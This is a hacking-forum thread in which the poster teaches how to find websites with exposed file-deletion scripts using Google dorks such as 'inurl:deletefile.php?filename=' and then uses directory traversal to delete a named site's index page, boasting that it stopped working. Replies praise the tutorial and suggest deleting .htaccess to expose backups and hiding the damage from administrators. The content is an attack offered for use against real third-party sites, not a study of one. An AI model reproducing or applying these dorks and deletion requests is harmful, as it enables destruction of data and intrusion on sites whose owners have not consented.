[bckslsh]

Step 1 - Find a poorly programmed website, most likely created by a 12 year old elementary-school-dropout, using dorks such as:

Code

inurl:deletefile.php
inurl:delete.php?filename=
inurl:deletefile.php?filename=
inurl:deletefile.php?file=

etc.

---

Step 2 - I have found my website that I am going to hax like a pro.

Code

http://www.doculand.net/htdocs/fileupload/deletefile.php?filename=

---

Step 3 - Basic directory transversal. Find the file that you want to delete, I'll use -

Code

http://www.doculand.net/services/index.html

It works right now.

Spoiler (Click to View)






























cough http://www.doculand.net/htdocs/fileuploa...index.html cough


























And now it doesn't.

Spoiler (Click to View)





How magical.

[Zixem]

Cool dork, pretty violent and wicked :> but nice thinking.

[Catzbow]

Amazing , very nice and interesting , thanks.

[soeasy]

Great tutorial Dan.I haven't seen anything like this before.😁

[Zhen.]

Same as LFD, different function. Useful tutorial nevertheless.
Keep it up.

[X Makube]

Yeah really really nice tutorial...

[Ϲasp3r]

Then you decide to use the deletefile.php to delete the deletefile.php

[Define©]

This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

[Ϲasp3r]

This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

If you set out to piss of as many site hosters as possible, then this gets you there. otherwise it not so great "IMHO"

[No‌‌‌‌‌‌]

This exploit is pretty pointless, I don't see how deleting files will get you anywhere.

This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack. Eg. Unencrypted backups (remember that time Blackshades got fucking raped?).

Nice thinking by the way, definitely something I have seen little of.

[T0ucaNSaM]

you forgot to delete your tracks :)

[Gee4rce]

This exploit could have a few uses (besides laughs) such as deleting the .htaccess (and potentially the index file) file from a site so that you can see other files that will be valuable to an attack.

In fact you are totally right with this, the .htaccess is a very good example! But this "way of h4x" still is only usefull for getting
straight "in and back out" again, as in reality a missing index file would quickly draw attention to the Admin... this would allow no longer-term hack. (I think thats what wkdlewy meant to say)...

But while writing this, i thought of the next possibilitie... what if the Admin doesn't see the connection between deletefile.php and his missing index.php? 😁

Greets, Gee.